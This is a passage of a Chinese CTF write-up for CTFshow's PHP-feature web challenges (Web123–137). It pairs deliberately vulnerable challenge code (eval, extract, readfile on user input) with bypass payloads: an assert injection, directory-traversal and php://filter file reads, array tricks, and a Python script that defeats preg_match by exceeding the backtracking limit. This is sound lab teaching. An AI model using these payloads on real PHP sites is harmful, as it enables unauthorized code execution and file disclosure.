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因为之前时间的关系CTFshow的内容很多专题是做了一半，现在是把那些没做完的内容补上。

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                    <h1 class="description center-align post-title">CTFshow之webPHP特性下</h1>
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<p>因为之前时间的关系CTFshow的内容很多专题是做了一半，现在是把那些没做完的内容补上。</p>
</blockquote>
<p>[TOC]</p>
<h3 id="Web123"><a href="#Web123" class="headerlink" title="Web123"></a>Web123</h3><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>
<span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">include</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"flag.php"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$a</span><span class="token operator">=</span><span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'argv'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$c</span><span class="token operator">=</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'fun'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'CTF_SHOW'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">&amp;&amp;</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'CTF_SHOW.COM'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">&amp;&amp;</span><span class="token operator">!</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'fl0g'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\&#123;|\&#125;|\"|\'|\,|\.|\;|\?/"</span><span class="token punctuation">,</span> <span class="token variable">$c</span><span class="token punctuation">)</span><span class="token operator">&amp;&amp;</span><span class="token variable">$c</span><span class="token operator">&lt;=</span><span class="token number">18</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
         <span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"<span class="token interpolation"><span class="token variable">$c</span></span>"</span><span class="token operator">.</span><span class="token string double-quoted-string">";"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
         <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$fl0g</span><span class="token operator">===</span><span class="token string double-quoted-string">"flag_give_me"</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
             <span class="token keyword">echo</span> <span class="token variable">$flag</span><span class="token punctuation">;</span>
         <span class="token punctuation">&#125;</span>
    <span class="token punctuation">&#125;</span>
<span class="token punctuation">&#125;</span>
<span class="token delimiter important">?></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p>所以如果我们直接传CTF_SHOW.COM是会被转换成CFT_SHOW_COM的，绕过的话这里要利用它的判定规则，当变量名中存在两个不合法字符时，只转换前面的那一个。[和.并存时，会转换前面的[，而[转换之后恰好为_，从而可以绕过。</p>
<h3 id="Web125"><a href="#Web125" class="headerlink" title="Web125"></a>Web125</h3><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">include</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"flag.php"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$a</span><span class="token operator">=</span><span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'argv'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$c</span><span class="token operator">=</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'fun'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'CTF_SHOW'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">&amp;&amp;</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'CTF_SHOW.COM'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">&amp;&amp;</span><span class="token operator">!</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'fl0g'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\&#123;|\&#125;|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i"</span><span class="token punctuation">,</span> <span class="token variable">$c</span><span class="token punctuation">)</span><span class="token operator">&amp;&amp;</span><span class="token variable">$c</span><span class="token operator">&lt;=</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
         <span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"<span class="token interpolation"><span class="token variable">$c</span></span>"</span><span class="token operator">.</span><span class="token string double-quoted-string">";"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
         <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$fl0g</span><span class="token operator">===</span><span class="token string double-quoted-string">"flag_give_me"</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
             <span class="token keyword">echo</span> <span class="token variable">$flag</span><span class="token punctuation">;</span>
         <span class="token punctuation">&#125;</span>
    <span class="token punctuation">&#125;</span>
<span class="token punctuation">&#125;</span>
<span class="token delimiter important">?></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/reserved.variables.argv.php">$argv</a>：传递给脚本的参数数组</p>
<h3 id="Web126"><a href="#Web126" class="headerlink" title="Web126"></a>Web126</h3><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">include</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"flag.php"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$a</span><span class="token operator">=</span><span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'argv'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$c</span><span class="token operator">=</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'fun'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'CTF_SHOW'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">&amp;&amp;</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'CTF_SHOW.COM'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">&amp;&amp;</span><span class="token operator">!</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'fl0g'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\&#123;|\&#125;|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i"</span><span class="token punctuation">,</span> <span class="token variable">$c</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$c</span><span class="token punctuation">)</span><span class="token operator">&lt;=</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
         <span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"<span class="token interpolation"><span class="token variable">$c</span></span>"</span><span class="token operator">.</span><span class="token string double-quoted-string">";"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
         <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$fl0g</span><span class="token operator">===</span><span class="token string double-quoted-string">"flag_give_me"</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
             <span class="token keyword">echo</span> <span class="token variable">$flag</span><span class="token punctuation">;</span>
         <span class="token punctuation">&#125;</span>
    <span class="token punctuation">&#125;</span>
<span class="token punctuation">&#125;</span> <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p>源代码第六行使用 isset 语句判断，所以我们需要定义 CTF_SHOW ，CTF_SHOW.COM，但是不能声明fl0g，但是后面的判断中fl0g===”flag_give_me”才能得到flag，这里就需要我们通过 CTF_SHOW ，CTF_SHOW.COM两个参数绕过。</p>
<blockquote>
<p>assert函数</p>
<p>bool assert ( mixed $assertion [, Throwable $exception ] ) ， eval和assert都可以将字符当作代码执行，只不过assert不需要严格遵从语法，比如语句末尾的分号可不加。 </p>
</blockquote>
<pre class="line-numbers language-none"><code class="language-none">GET:?$fl0g&#x3D;flag_give_me
POST:CTF_SHOW&#x3D;&amp;CTF[SHOW.COM&#x3D;&amp;fun&#x3D;assert($a[0])<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre>

<h3 id="Web127"><a href="#Web127" class="headerlink" title="Web127"></a>Web127</h3><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>
<span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">include</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"flag.php"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$ctf_show</span> <span class="token operator">=</span> <span class="token function">md5</span><span class="token punctuation">(</span><span class="token variable">$flag</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$url</span> <span class="token operator">=</span> <span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'QUERY_STRING'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token comment">//特殊字符检测</span>
<span class="token keyword">function</span> <span class="token function-definition function">waf</span><span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\&#123;|\;|\:|\[|\]|\&#125;|\'|\"|\&lt;|\,|\>|\.|\\\|\//'</span><span class="token punctuation">,</span> <span class="token variable">$url</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
        <span class="token keyword">return</span> <span class="token constant boolean">true</span><span class="token punctuation">;</span>
    <span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span>
        <span class="token keyword">return</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span>
    <span class="token punctuation">&#125;</span>
<span class="token punctuation">&#125;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">waf</span><span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"嗯哼？"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span>
    <span class="token function">extract</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">&#125;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$ctf_show</span><span class="token operator">===</span><span class="token string single-quoted-string">'ilove36d'</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token keyword">echo</span> <span class="token variable">$flag</span><span class="token punctuation">;</span>
<span class="token punctuation">&#125;</span> </span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p><a target="_blank" rel="noopener" href="https://www.runoob.com/php/func-array-extract.html">extract抽取函数</a>：通常情况结合数组使用，?ctf_show=ilove36d但是下划线被过滤了，这里又一次用到了上面讲到的内容，当变量名中存在会将其转化为_ 空格是经典的非法参数，我们就可以用%20进行绕过</p>
<h3 id="Web128"><a href="#Web128" class="headerlink" title="Web128"></a>Web128</h3><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>
<span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">include</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"flag.php"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$f1</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'f1'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$f2</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'f2'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">check</span><span class="token punctuation">(</span><span class="token variable">$f1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token function">call_user_func</span><span class="token punctuation">(</span><span class="token function">call_user_func</span><span class="token punctuation">(</span><span class="token variable">$f1</span><span class="token punctuation">,</span><span class="token variable">$f2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span>
    <span class="token keyword">echo</span> <span class="token string double-quoted-string">"嗯哼？"</span><span class="token punctuation">;</span>
<span class="token punctuation">&#125;</span>
<span class="token keyword">function</span> <span class="token function-definition function">check</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token keyword">return</span> <span class="token operator">!</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/[0-9]|[a-z]/i'</span><span class="token punctuation">,</span> <span class="token variable">$str</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">&#125;</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<h3 id="Web129"><a href="#Web129" class="headerlink" title="Web129"></a>Web129</h3><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>
<span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'f'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token variable">$f</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'f'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">stripos</span><span class="token punctuation">(</span><span class="token variable">$f</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'ctfshow'</span><span class="token punctuation">)</span><span class="token operator">></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
        <span class="token keyword">echo</span> <span class="token function">readfile</span><span class="token punctuation">(</span><span class="token variable">$f</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">&#125;</span>
<span class="token punctuation">&#125;</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p> stripos() 函数查找字符串在另一字符串中第一次出现的位置 ，readfile() 函数输出一个文件。同时stripos($f, ‘ctfshow’)&gt;0说明ctfshow不能放在首部。</p>
<blockquote>
<p>这道题解法也有不少，比如目录穿越 ?f=/ctfshow/../../../../../var/www/html/flag.php</p>
<p>再比如filter伪协议，?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php </p>
<p>甚至我们可以 ?f=./ctfshow/../flag.php 先进入名为ctfshow的下级文件夹在穿越回去，这个跟第一个本质上是一样的…..</p>
</blockquote>
<h3 id="Web130"><a href="#Web130" class="headerlink" title="Web130"></a>Web130</h3><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>
<span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">include</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"flag.php"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'f'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token variable">$f</span> <span class="token operator">=</span> <span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'f'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/.+?ctfshow/is'</span><span class="token punctuation">,</span> <span class="token variable">$f</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'bye!'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">&#125;</span>
    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">stripos</span><span class="token punctuation">(</span><span class="token variable">$f</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'ctfshow'</span><span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token constant boolean">FALSE</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'bye!!'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">&#125;</span>
    <span class="token keyword">echo</span> <span class="token variable">$flag</span><span class="token punctuation">;</span>
<span class="token punctuation">&#125;</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p> 直接绕过正则表达式： f=ctfshow</p>
<p>.表示任意单个字符，+表示必须匹配1次或多次，+?表示 重复1次或更多次，但尽可能少重复,所以在ctfshow前面必须有至少一个字符，才会返回true。所以才有了直接f=ctfshow。</p>
<p>这一道题也可以通过数组绕过，因为stripos函数无法处理数组， 可以直接传f[]=1， </p>
<h3 id="Web131"><a href="#Web131" class="headerlink" title="Web131"></a>Web131</h3><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>
<span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">include</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"flag.php"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'f'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token variable">$f</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword type-casting">String</span><span class="token punctuation">)</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'f'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/.+?ctfshow/is'</span><span class="token punctuation">,</span> <span class="token variable">$f</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'bye!'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">&#125;</span>
    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">stripos</span><span class="token punctuation">(</span><span class="token variable">$f</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'36Dctfshow'</span><span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token constant boolean">FALSE</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'bye!!'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">&#125;</span>
    <span class="token keyword">echo</span> <span class="token variable">$flag</span><span class="token punctuation">;</span>
<span class="token punctuation">&#125;</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p>可以利用回溯限制来绕过。</p>
<p>当回溯的次数绕过了25万是preg_match返回的非1和0，而是false，所以可以绕过preg_match函数。这里ctfshow提供的wp不知道为什么我做不出来……</p>
<p>这边利用回溯限制来绕过，当回溯的次数绕过了25万是preg_match返回的非1和0，而是false，所以可以绕过preg_match函数。</p>
<pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> requests
url<span class="token operator">=</span><span class="token string">'http://8d380352-394f-4754-8bde-5c906930bcd2.challenge.ctf.show/'</span>
data<span class="token operator">=</span><span class="token punctuation">&#123;</span>
    <span class="token string">'f'</span><span class="token punctuation">:</span><span class="token string">'very'</span><span class="token operator">*</span><span class="token number">250000</span><span class="token operator">+</span><span class="token string">'ctfshow'</span>
<span class="token punctuation">&#125;</span>
r<span class="token operator">=</span>requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url<span class="token operator">=</span>url<span class="token punctuation">,</span>data<span class="token operator">=</span>data<span class="token punctuation">)</span><span class="token punctuation">.</span>text
<span class="token keyword">print</span><span class="token punctuation">(</span>r<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<h3 id="Web132"><a href="#Web132" class="headerlink" title="Web132"></a>Web132</h3><p>打开是一个网站，访问robots.txt得到/admin打开/admin获得题目。</p>
<pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>
<span class="token comment">#error_reporting(0);</span>
<span class="token keyword">include</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"flag.php"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'username'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'password'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'code'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token variable">$username</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword type-casting">String</span><span class="token punctuation">)</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'username'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token variable">$password</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword type-casting">String</span><span class="token punctuation">)</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'password'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
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    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$code</span> <span class="token operator">===</span> <span class="token function">mt_rand</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0x36D</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$password</span> <span class="token operator">===</span> <span class="token variable">$flag</span> <span class="token operator">||</span> <span class="token variable">$username</span> <span class="token operator">===</span><span class="token string double-quoted-string">"admin"</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$code</span> <span class="token operator">==</span> <span class="token string single-quoted-string">'admin'</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
            <span class="token keyword">echo</span> <span class="token variable">$flag</span><span class="token punctuation">;</span>
        <span class="token punctuation">&#125;</span>
    <span class="token punctuation">&#125;</span>
<span class="token punctuation">&#125;</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p>对于<code>与</code>(&amp;&amp;) 运算： <code>x &amp;&amp; y </code>当x为false时，直接跳过，不执行y； 对于或<code>（||）</code> 运算 ： x||y 当x为true时，直接跳过，不执行y ,同时与运算的优先级要高于或运算，所以我们只需要满足第三个条件就行。</p>
<blockquote>
<p>?username=admin&amp;password=admin&amp;code=admin </p>
</blockquote>
<h3 id="Web137"><a href="#Web137" class="headerlink" title="Web137"></a>Web137</h3><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>
<span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
